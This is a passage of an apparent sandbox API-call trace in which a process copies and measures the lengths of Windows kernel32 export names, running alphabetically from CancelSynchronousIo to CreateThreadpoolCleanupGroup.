10 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0122.883] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0122.883] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0122.883] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0122.883] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0122.883] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0122.883] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0122.883] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0122.883] lstrlenA (lpString="CHECKELEVATION") returned 14 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0122.883] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0122.883] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0122.883] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0122.883] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0122.883] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0122.883] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0122.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0122.883] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0122.884] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0122.884] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0122.884] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0122.884] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0122.884] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0122.884] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0122.884] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0122.884] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0122.884] lstrlenA (lpString="CLOSESTATE") returned 10 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0122.884] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0122.884] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0122.884] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0122.884] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0122.884] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0122.884] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0122.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0122.884] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0122.885] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0122.885] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0122.885] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0122.885] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0122.885] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0122.885] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0122.885] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0122.885] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0122.885] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0122.885] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0122.885] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0122.885] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0122.885] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0122.885] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0122.885] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0122.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0122.886] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0122.886] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0122.886] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0122.886] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0122.886] lstrlenA (lpString="COPYCONTEXT") returned 11 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0122.886] lstrlenA (lpString="COPYFILE2") returned 9 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0122.886] lstrlenA (lpString="COPYFILEA") returned 9 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0122.886] lstrlenA (lpString="COPYFILEEXA") returned 11 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0122.886] lstrlenA (lpString="COPYFILEEXW") returned 11 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0122.886] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0122.886] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0122.886] lstrlenA (lpString="COPYFILEW") returned 9 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0122.886] lstrlenA (lpString="COPYLZFILE") returned 10 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0122.886] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0122.886] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0122.886] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0122.886] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0122.887] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0122.887] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0122.887] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0122.887] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0122.887] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0122.887] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0122.887] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0122.887] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0122.887] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0122.887] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0122.887] lstrlenA (lpString="CREATEEVENTA") returned 12 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0122.887] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0122.887] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0122.887] lstrlenA (lpString="CREATEEVENTW") returned 12 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0122.887] lstrlenA (lpString="CREATEFIBER") returned 11 [0122.887] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0122.887] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0122.888] lstrlenA (lpString="CREATEFILE2") returned 11 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0122.888] lstrlenA (lpString="CREATEFILEA") returned 11 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0122.888] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0122.888] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0122.888] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0122.888] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0122.888] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0122.888] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0122.888] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0122.888] lstrlenA (lpString="CREATEFILEW") returned 11 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0122.888] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0122.888] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0122.888] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0122.888] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0122.888] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0122.888] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0122.889] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0122.889] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0122.889] lstrlenA (lpString="CREATEJOBSET") returned 12 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0122.889] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0122.889] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0122.889] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0122.889] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0122.889] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0122.889] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0122.889] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0122.889] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0122.889] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0122.889] lstrlenA (lpString="CREATEPIPE") returned 10 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0122.889] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0122.889] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0122.889] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0122.889] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0122.890] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0122.890] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0122.890] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0122.890] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0122.890] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0122.890] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0122.890] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0122.890] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0122.890] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0122.890] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0122.890] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0122.890] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0122.890] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0122.890] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0122.890] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0122.890] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0122.890] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0122.891] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0122.891] lstrlenA (lpString="CREATETHREAD") returned 12 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0122.891] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") 